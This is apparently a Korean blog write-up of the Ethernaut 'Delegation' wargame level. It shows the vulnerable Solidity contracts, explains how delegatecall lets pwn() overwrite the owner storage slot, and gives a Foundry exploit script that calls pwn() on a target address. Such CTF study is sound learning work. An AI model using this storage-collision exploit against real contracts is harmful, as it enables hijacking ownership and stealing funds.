Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

PoC

delegatecall을 통해서 외부 컨트랙트의 함수를 호출할 땐 스토리지가 덮여쓰일 수 있는데 이 점을 잘 고려해야합니다.

해당 문제는 Delegate 와 Delegation 컨트랙트의 owner가 같은 스토리지 번호를 사용하고 있기 때문에 pwn 함수를 호출하게 되면 Delegation 컨트랙트의 owner가 변경됩니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";

contract exploit is Script {
    function run() public {
        uint pk = pk;
        vm.startBroadcast(pk);
        address target = 0xedC5EB529948aa0e3365b8EBA435dE81617Cc4A5;
        bytes memory data = abi.encodeWithSignature("pwn()");
        target.call(data);
        
        vm.stopBroadcast();
    }
}

 

Ref

- https://velog.io/@youngju307/Solidity-Call-vs-Delegate-Call

'wargame' 카테고리의 다른 글

Ethernaut All solved  (0) 2024.12.05
Force  (0) 2024.11.13
Coinflip  (0) 2024.11.13
Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13

+ Recent posts